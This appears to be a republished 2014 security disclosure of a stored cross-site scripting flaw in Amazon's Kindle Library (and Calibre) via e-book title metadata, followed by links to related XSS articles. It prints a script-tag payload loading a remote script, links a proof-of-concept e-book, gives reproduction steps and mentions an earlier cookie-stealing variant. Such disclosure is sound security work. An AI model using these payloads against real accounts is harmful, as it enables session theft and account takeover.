Amazon.com Stored XSS via Book Metadata

简介: Amazon's Kindle Library, also known as "Manage Your Content and Devices" and "Manage your Kind...
Amazon's Kindle Library , also known as "Manage Your Content and Devices" and "Manage your Kindle",  is, at the time of writing, vulnerable to Stored Cross-Site Scripting (XSS) attacks . Malicious code can be injected via e-book metadata; for example, an e-book's title.

Once an attacker manages to have an e-book (file, document, ...) with a title like
<script src="https://www.example.org/script.js"></script>
added to the victim's library, the code will be executed as soon as the victim opens the Kindle Library web page. As a result, Amazon account cookies can be accessed by and transferred to the attacker and the victim's Amazon account can be compromised.


  

Who is affected?


Basically, everyone who uses Amazon's Kindle Library to store e-books or to deliver them to a Kindle.

However, users most likely to fall victim to this vulnerability are those who obtain e-books from untrustworthy sources (read: pirated e-books) and then use Amazon's "Send to Kindle" service to have them delivered to their Kindle. From the supplier's point of view, vulnerabilities like this present an opportunity to gain access to active Amazon accounts.

Users who stick to e-books sold and delivered by Amazon should be safe, unless there's another oversight on Amazon's part, such as the one described here: < http://drwetter.eu/amazon/ >

Proof of Concept & Demonstration


A Proof of Concept (PoC) file can be downloaded from < https://fl7.de/pub/2014/amazon-mobixss/pub.mobi >; its title metadata contains the classic "<script>alert('xss')</script>" payload. Simply send it to your "Send to Kindle" email address and browse to your Kindle Library page at < https://www.amazon.com/mn/dcw/myx.html#/home/content/pdocs/dateDsc/ >. Depending on whether the file was already delivered to your Kindle or not, you may have to select "Pending Deliveries" from the drop-down box below the "Your Content" tab.

And this is what it looks like:


You can remove the file from your library as soon as it has been delivered to your Kindle, and while doing so you will notice about half a dozen additional alert boxes. 

History, Response


When I first reported this vulnerability to Amazon in November 2013,  my initial Proof of Concept, a MOBI e-book with a title similar to the one mentioned above, contained code to collect cookies and send them to me. Interestingly, Amazon's Information Security team continued to use this PoC on internal preproduction systems for months after the vulnerability had been fixed. This made it even more surprising that, when rolling out a new version of the  "Manage your Kindle" web application, Amazon reintroduced this very vulnerability.

Amazon chose not to respond to my subsequent email detailing the issue, and two months later, the vulnerability remains unfixed.

Not Just Amazon


You may be thinking that XSS-inducing metadata in e-books doesn't affect you simply because you are organizing your e-books not through a web interface, but with Calibre <http://calibre-ebook.com/>. Well, have a look at this:

 

 

Calibre's developer, Kovid Goyal, acknowledged the problem less than four hours after I had reported it, and a new release - version 1.80 - including a bugfix was made available the following day. This is quite an impressive response (time), even more so when you consider that Calibre is maintained by an individual who make this software available at no cost. If you are a frequent Calibre user, consider making a donation!

  

Timeline


2013-10-24 Vulnerability discovered.
2013-11-15 Vulnerability reported to security@amazon.com.
2013-11-19 Amazon.com Information Security assigns case number.
2013-12-06 Reported vulnerability fixed.
2014-??-?? Vulnerability reintroduced by "Manage Your Kindle" web page redesign.
2014-07-09 Vulnerability reported to security@amazon.com.
2014-09-12 (Still no response from Amazon. Public disclosure.)
目录
相关文章
|
JavaScript 前端开发 Ruby
Easy DOM-based XSS detection via Regexes
If you are interested in finding DOM-based XSS, you must have knowledge of http://code.
848 0
|
4月前
|
存储 JavaScript 前端开发
前端xss攻击——规避innerHtml过滤标签节点及属性
前端xss攻击——规避innerHtml过滤标签节点及属性
288 4
|
4月前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
710 0
|
2月前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
25天前
|
监控 安全 JavaScript
对跨站脚本攻击(XSS)的防御策略?
【8月更文挑战第15天】
73 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
65 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
29天前
|
存储 安全 JavaScript
XSS攻击(Cross-Site Scripting)
【8月更文挑战第11天】
45 2
|
4月前
|
安全 JavaScript Go
【Web】什么是 XSS 攻击,如何避免?
【Web】什么是 XSS 攻击,如何避免?
|
11天前
|
存储 安全 JavaScript
解释 XSS 攻击及其预防措施
【8月更文挑战第31天】
35 0